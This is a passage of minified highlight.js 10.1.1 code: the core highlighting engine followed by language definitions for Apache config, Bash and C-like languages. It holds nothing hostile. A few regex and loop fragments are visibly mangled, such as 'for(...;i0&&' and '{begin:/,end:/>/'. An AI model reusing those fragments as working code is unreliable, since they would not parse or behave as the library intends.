n.languageName=e,n.badRule=b.rule,n}return 1}if(b=r,"begin"===r.type)return function(e){var t=e[0],r=e.rule;const a=new n(r),i=[r.__beforeBegin,r["on:begin"]];for(const n of i)if(n&&(n(e,a),a.ignore))return p(t);return r&&r.endSameAsBegin&&(r.endRe=RegExp(t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&"),"m")),r.skip?A+=t:(r.excludeBegin&&(A+=t),u(),r.returnBegin||r.excludeBegin||(A=t)),h(r),r.returnBegin?0:t.length}(r);if("illegal"===r.type&&!a){const e=Error('Illegal lexeme "'+i+'" for mode "'+(y.className||"")+'"');throw e.mode=y,e}if("end"===r.type){var s=function(e){var t=e[0],r=o.substr(e.index),a=function e(t,r,a){let i=function(e,n){var t=e&&e.exec(n);return t&&0===t.index}(t.endRe,a);if(i){if(t["on:end"]){const e=new n(t);t["on:end"](r,e),e.ignore&&(i=!1)}if(i){for(;t.endsParent&&t.parent;)t=t.parent;return t}}if(t.endsWithParent)return e(t.parent,r,a)}(y,e,r);if(!a)return M;var i=y;i.skip?A+=t:(i.returnEnd||i.excludeEnd||(A+=t),u(),i.excludeEnd&&(A=t));do{y.className&&O.closeNode(),y.skip||y.subLanguage||(I+=y.relevance),y=y.parent}while(y!==a.parent);return a.starts&&(a.endSameAsBegin&&(a.starts.endRe=a.endRe),h(a.starts)),i.returnEnd?0:t.length}(r);if(s!==M)return s}if("illegal"===r.type&&""===i)return 1;if(B>1e5&&B>3*r.index)throw Error("potential infinite loop, way more iterations than matches");return A+=i,i.length}var E=T(e);if(!E)throw console.error(g.replace("{}",e)),Error('Unknown language: "'+e+'"');var _=function(e){function n(n,t){return RegExp(d(n),"m"+(e.case_insensitive?"i":"")+(t?"g":""))}class t{constructor(){this.matchIndexes={},this.regexes=[],this.matchAt=1,this.position=0}addRule(e,n){n.position=this.position++,this.matchIndexes[this.matchAt]=n,this.regexes.push([n,e]),this.matchAt+=function(e){return RegExp(e.toString()+"|").exec("").length-1}(e)+1}compile(){0===this.regexes.length&&(this.exec=()=>null);const e=this.regexes.map(e=>e[1]);this.matcherRe=n(function(e,n="|"){for(var t=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./,r=0,a="",i=0;i0&&(a+=n),a+="(";o.length>0;){var l=t.exec(o);if(null==l){a+=o;break}a+=o.substring(0,l.index),o=o.substring(l.index+l[0].length),"\\"===l[0][0]&&l[1]?a+="\\"+(+l[1]+s):(a+=l[0],"("===l[0]&&r++)}a+=")"}return a}(e),!0),this.lastIndex=0}exec(e){this.matcherRe.lastIndex=this.lastIndex;const n=this.matcherRe.exec(e);if(!n)return null;const t=n.findIndex((e,n)=>n>0&&void 0!==e),r=this.matchIndexes[t];return n.splice(0,t),Object.assign(n,r)}}class a{constructor(){this.rules=[],this.multiRegexes=[],this.count=0,this.lastIndex=0,this.regexIndex=0}getMatcher(e){if(this.multiRegexes[e])return this.multiRegexes[e];const n=new t;return this.rules.slice(e).forEach(([e,t])=>n.addRule(e,t)),n.compile(),this.multiRegexes[e]=n,n}considerAll(){this.regexIndex=0}addRule(e,n){this.rules.push([e,n]),"begin"===n.type&&this.count++}exec(e){const n=this.getMatcher(this.regexIndex);n.lastIndex=this.lastIndex;const t=n.exec(e);return t&&(this.regexIndex+=t.position+1,this.regexIndex===this.count&&(this.regexIndex=0)),t}}function i(e,n){const t=e.input[e.index-1],r=e.input[e.index+e[0].length];"."!==t&&"."!==r||n.ignoreMatch()}if(e.contains&&e.contains.includes("self"))throw Error("ERR: contains `self` is not supported at the top-level of a language. See documentation.");return function t(s,o){const l=s;if(s.compiled)return l;s.compiled=!0,s.__beforeBegin=null,s.keywords=s.keywords||s.beginKeywords;let c=null;if("object"==typeof s.keywords&&(c=s.keywords.$pattern,delete s.keywords.$pattern),s.keywords&&(s.keywords=function(e,n){var t={};return"string"==typeof e?r("keyword",e):Object.keys(e).forEach((function(n){r(n,e[n])})),t;function r(e,r){n&&(r=r.toLowerCase()),r.split(" ").forEach((function(n){var r=n.split("|");t[r[0]]=[e,w(r[0],r[1])]}))}}(s.keywords,e.case_insensitive)),s.lexemes&&c)throw Error("ERR: Prefer `keywords.$pattern` to `mode.lexemes`, BOTH are not allowed. (see mode reference) ");return l.keywordPatternRe=n(s.lexemes||c||/\w+/,!0),o&&(s.beginKeywords&&(s.begin="\\b("+s.beginKeywords.split(" ").join("|")+")(?=\\b|\\s)",s.__beforeBegin=i),s.begin||(s.begin=/\B|\b/),l.beginRe=n(s.begin),s.endSameAsBegin&&(s.end=s.begin),s.end||s.endsWithParent||(s.end=/\B|\b/),s.end&&(l.endRe=n(s.end)),l.terminator_end=d(s.end)||"",s.endsWithParent&&o.terminator_end&&(l.terminator_end+=(s.end?"|":"")+o.terminator_end)),s.illegal&&(l.illegalRe=n(s.illegal)),void 0===s.relevance&&(s.relevance=1),s.contains||(s.contains=[]),s.contains=[].concat(...s.contains.map((function(e){return function(e){return e.variants&&!e.cached_variants&&(e.cached_variants=e.variants.map((function(n){return r(e,{variants:null},n)}))),e.cached_variants?e.cached_variants:function e(n){return!!n&&(n.endsWithParent||e(n.starts))}(e)?r(e,{starts:e.starts?r(e.starts):null}):Object.isFrozen(e)?r(e):e}("self"===e?s:e)}))),s.contains.forEach((function(e){t(e,l)})),s.starts&&t(s.starts,o),l.matcher=function(e){const n=new a;return e.contains.forEach(e=>n.addRule(e.begin,{rule:e,type:"begin"})),e.terminator_end&&n.addRule(e.terminator_end,{type:"end"}),e.illegal&&n.addRule(e.illegal,{type:"illegal"}),n}(l),l}(e)}(E),N="",y=s||_,k={},O=new f.__emitter(f);!function(){for(var e=[],n=y;n!==E;n=n.parent)n.className&&e.unshift(n.className);e.forEach(e=>O.openNode(e))}();var A="",I=0,S=0,B=0,L=!1;try{for(y.matcher.considerAll();;){B++,L?L=!1:(y.matcher.lastIndex=S,y.matcher.considerAll());const e=y.matcher.exec(o);if(!e)break;const n=x(o.substring(S,e.index),e);S=e.index+n}return x(o.substr(S)),O.closeAllNodes(),O.finalize(),N=O.toHTML(),{relevance:I,value:N,language:e,illegal:!1,emitter:O,top:y}}catch(n){if(n.message&&n.message.includes("Illegal"))return{illegal:!0,illegalBy:{msg:n.message,context:o.slice(S-100,S+100),mode:n.mode},sofar:N,relevance:0,value:R(o),emitter:O};if(l)return{illegal:!1,relevance:0,value:R(o),emitter:O,language:e,top:y,errorRaised:n};throw n}}function v(e,n){n=n||f.languages||Object.keys(i);var t=function(e){const n={relevance:0,emitter:new f.__emitter(f),value:R(e),illegal:!1,top:h};return n.emitter.addText(e),n}(e),r=t;return n.filter(T).filter(I).forEach((function(n){var a=m(n,e,!1);a.language=n,a.relevance>r.relevance&&(r=a),a.relevance>t.relevance&&(r=t,t=a)})),r.language&&(t.second_best=r),t}function x(e){return f.tabReplace||f.useBR?e.replace(c,e=>"\n"===e?f.useBR?" ":e:f.tabReplace?e.replace(/\t/g,f.tabReplace):e):e}function E(e){let n=null;const t=function(e){var n=e.className+" ";n+=e.parentNode?e.parentNode.className:"";const t=f.languageDetectRe.exec(n);if(t){var r=T(t[1]);return r||(console.warn(g.replace("{}",t[1])),console.warn("Falling back to no-highlight mode for this block.",e)),r?t[1]:"no-highlight"}return n.split(/\s+/).find(e=>p(e)||T(e))}(e);if(p(t))return;S("before:highlightBlock",{block:e,language:t}),f.useBR?(n=document.createElement("div")).innerHTML=e.innerHTML.replace(/\n/g,"").replace(/ /g,"\n"):n=e;const r=n.textContent,a=t?b(t,r,!0):v(r),i=k(n);if(i.length){const e=document.createElement("div");e.innerHTML=a.value,a.value=O(i,k(e),r)}a.value=x(a.value),S("after:highlightBlock",{block:e,result:a}),e.innerHTML=a.value,e.className=function(e,n,t){var r=n?s[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),e.includes(r)||a.push(r),a.join(" ").trim()}(e.className,t,a.language),e.result={language:a.language,re:a.relevance,relavance:a.relevance},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.relevance,relavance:a.second_best.relevance})}const N=()=>{if(!N.called){N.called=!0;var e=document.querySelectorAll("pre code");a.forEach.call(e,E)}};function T(e){return e=(e||"").toLowerCase(),i[e]||i[s[e]]}function A(e,{languageName:n}){"string"==typeof e&&(e=[e]),e.forEach(e=>{s[e]=n})}function I(e){var n=T(e);return n&&!n.disableAutodetect}function S(e,n){var t=e;o.forEach((function(e){e[t]&&e[t](n)}))}Object.assign(t,{highlight:b,highlightAuto:v,fixMarkup:x,highlightBlock:E,configure:function(e){f=y(f,e)},initHighlighting:N,initHighlightingOnLoad:function(){window.addEventListener("DOMContentLoaded",N,!1)},registerLanguage:function(e,n){var r=null;try{r=n(t)}catch(n){if(console.error("Language definition for '{}' could not be registered.".replace("{}",e)),!l)throw n;console.error(n),r=h}r.name||(r.name=e),i[e]=r,r.rawDefinition=n.bind(null,t),r.aliases&&A(r.aliases,{languageName:e})},listLanguages:function(){return Object.keys(i)},getLanguage:T,registerAliases:A,requireLanguage:function(e){var n=T(e);if(n)return n;throw Error("The '{}' language is required, but not loaded.".replace("{}",e))},autoDetection:I,inherit:y,addPlugin:function(e){o.push(e)}}),t.debugMode=function(){l=!1},t.safeMode=function(){l=!0},t.versionString="10.1.1";for(const n in _)"object"==typeof _[n]&&e(_[n]);return Object.assign(t,_),t}({})}();"object"==typeof exports&&"undefined"!=typeof module&&(module.exports=hljs);
hljs.registerLanguage("apache",function(){"use strict";return function(e){var n={className:"number",begin:"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?"};return{name:"Apache config",aliases:["apacheconf"],case_insensitive:!0,contains:[e.HASH_COMMENT_MODE,{className:"section",begin:"?",end:">",contains:[n,{className:"number",begin:":\\d{1,5}"},e.inherit(e.QUOTE_STRING_MODE,{relevance:0})]},{className:"attribute",begin:/\w+/,relevance:0,keywords:{nomarkup:"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername"},starts:{end:/$/,relevance:0,keywords:{literal:"on off all deny allow"},contains:[{className:"meta",begin:"\\s\\[",end:"\\]$"},{className:"variable",begin:"[\\$%]\\{",end:"\\}",contains:["self",{className:"number",begin:"[\\$%]\\d+"}]},n,{className:"number",begin:"\\d+"},e.QUOTE_STRING_MODE]}}],illegal:/\S/}}}());
hljs.registerLanguage("bash",function(){"use strict";return function(e){const s={};Object.assign(s,{className:"variable",variants:[{begin:/\$[\w\d#@][\w\d_]*/},{begin:/\$\{/,end:/\}/,contains:[{begin:/:-/,contains:[s]}]}]});const t={className:"subst",begin:/\$\(/,end:/\)/,contains:[e.BACKSLASH_ESCAPE]},n={className:"string",begin:/"/,end:/"/,contains:[e.BACKSLASH_ESCAPE,s,t]};t.contains.push(n);const a={begin:/\$\(\(/,end:/\)\)/,contains:[{begin:/\d+#[0-9a-f]+/,className:"number"},e.NUMBER_MODE,s]},i=e.SHEBANG({binary:"(fish|bash|zsh|sh|csh|ksh|tcsh|dash|scsh)",relevance:10}),c={className:"function",begin:/\w[\w\d_]*\s*\(\s*\)\s*\{/,returnBegin:!0,contains:[e.inherit(e.TITLE_MODE,{begin:/\w[\w\d_]*/})],relevance:0};return{name:"Bash",aliases:["sh","zsh"],keywords:{$pattern:/\b-?[a-z\._]+\b/,keyword:"if then else elif fi for while in do done case esac function",literal:"true false",built_in:"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp",_:"-ne -eq -lt -gt -f -d -e -s -l -a"},contains:[i,e.SHEBANG(),c,a,e.HASH_COMMENT_MODE,n,{className:"",begin:/\\"/},{className:"string",begin:/'/,end:/'/},s]}}}());
hljs.registerLanguage("c-like",function(){"use strict";return function(e){function t(e){return"(?:"+e+")?"}var n="(decltype\\(auto\\)|"+t("[a-zA-Z_]\\w*::")+"[a-zA-Z_]\\w*"+t("<.*?>")+")",r={className:"keyword",begin:"\\b[a-z\\d_]*_t\\b"},a={className:"string",variants:[{begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[e.BACKSLASH_ESCAPE]},{begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)",end:"'",illegal:"."},e.END_SAME_AS_BEGIN({begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},i={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},s={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},e.inherit(a,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/,end:/$/,illegal:"\\n"},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},o={className:"title",begin:t("[a-zA-Z_]\\w*::")+e.IDENT_RE,relevance:0},c=t("[a-zA-Z_]\\w*::")+e.IDENT_RE+"\\s*\\(",l={keyword:"int float while private char char8_t char16_t char32_t catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid wchar_t short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignas alignof constexpr consteval constinit decltype concept co_await co_return co_yield requires noexcept static_assert thread_local restrict final override atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq",built_in:"std string wstring cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set pair bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap priority_queue make_pair array shared_ptr abort terminate abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf future isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr _Bool complex _Complex imaginary _Imaginary",literal:"true false nullptr NULL"},d=[r,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,i,a],_={variants:[{begin:/=/,end:/;/},{begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}],keywords:l,contains:d.concat([{begin:/\(/,end:/\)/,keywords:l,contains:d.concat(["self"]),relevance:0}]),relevance:0},u={className:"function",begin:"("+n+"[\\*&\\s]+)+"+c,returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:l,illegal:/[^\w\s\*&:<>]/,contains:[{begin:"decltype\\(auto\\)",keywords:l,relevance:0},{begin:c,returnBegin:!0,contains:[o],relevance:0},{className:"params",begin:/\(/,end:/\)/,keywords:l,relevance:0,contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,i,r,{begin:/\(/,end:/\)/,keywords:l,relevance:0,contains:["self",e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,i,r]}]},r,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,s]};return{aliases:["c","cc","h","c++","h++","hpp","hh","hxx","cxx"],keywords:l,disableAutodetect:!0,illegal:"",contains:[].concat(_,u,d,[s,{begin:"\\b(deque|list|queue|priority_queue|pair|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\s*<",end:">",keywords:l,contains:["self",r]},{begin:e.IDENT_RE+"::",keywords:l},{className:"class",beginKeywords:"class struct",end:/[{;:]/,contains:[{begin:/,end:/>/,contains:["self"]},e.TITLE_MODE]}]),exports:{preprocessor:s,strings:a,keywords:l}}}}());